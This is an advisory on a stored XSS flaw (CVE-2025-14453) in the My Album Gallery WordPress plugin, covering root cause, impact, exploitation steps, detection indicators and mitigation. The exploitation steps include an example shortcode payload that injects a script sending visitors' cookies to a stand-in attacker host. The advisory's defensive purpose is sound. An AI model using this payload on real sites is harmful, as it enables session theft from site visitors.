CVE-2025-14453: 
WordPress vulnerability analysis and mitigation

CVE-2025-14453 is a Stored Cross-Site Scripting (XSS) vulnerability in the My Album Gallery plugin for WordPress, affecting all versions up to and including 1.0.4. The flaw arises from insufficient input sanitization and output escaping of the style_css shortcode attribute, allowing authenticated attackers with Contributor-level access or higher to inject persistent malicious scripts into pages. The vulnerability was published on January 7, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerable code is located in controllers/public/class-mygallery-shortcode.php at line 121, where the style_css shortcode attribute is rendered without proper sanitization or escaping (WordPress Trac). An attacker with at least Contributor-level WordPress access can embed a malicious JavaScript payload within the style_css attribute of the plugin's shortcode, which is then stored in the database and executed in the browser of any user who visits the affected page. No user interaction beyond page access is required for the payload to execute, and the attack is delivered over the network with low complexity (Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any site visitor's browser session, impacting both confidentiality and integrity. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, and delivery of drive-by malware to site visitors. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect all users who view the injected page, though availability is not directly impacted (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the My Album Gallery plugin (version ≤ 1.0.4) using tools like WPScan or by inspecting page source for plugin-specific shortcodes or assets.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert the plugin's shortcode with a malicious payload in the style_css attribute, e.g., [my_album_gallery style_css="</style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Save and publish the post or page containing the injected shortcode. The payload is stored in the WordPress database.
5. Trigger Execution: When any authenticated or unauthenticated user visits the page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing style_css parameters with HTML tags or JavaScript (<script>, onerror=, javascript:) embedded in the value.
• Database: Suspicious entries in the wp_posts or wp_postmeta tables where the style_css shortcode attribute contains encoded or raw JavaScript payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the My Album Gallery shortcode, potentially indicating data exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but review recently modified posts/pages for unexpected shortcode content via WordPress admin or database inspection.

As of the vulnerability's publication date (January 7, 2026), no patched version of the My Album Gallery plugin was confirmed available, and the Feedly data notes "no patch available" for versions up to 1.0.4. Site administrators should immediately deactivate and remove the My Album Gallery plugin until a patched version is released. As a workaround, restrict Contributor-level user registrations or audit existing Contributor accounts for untrusted users. Monitor the WordPress plugin repository and the Wordfence advisory for patch availability (Wordfence, WordPress Trac).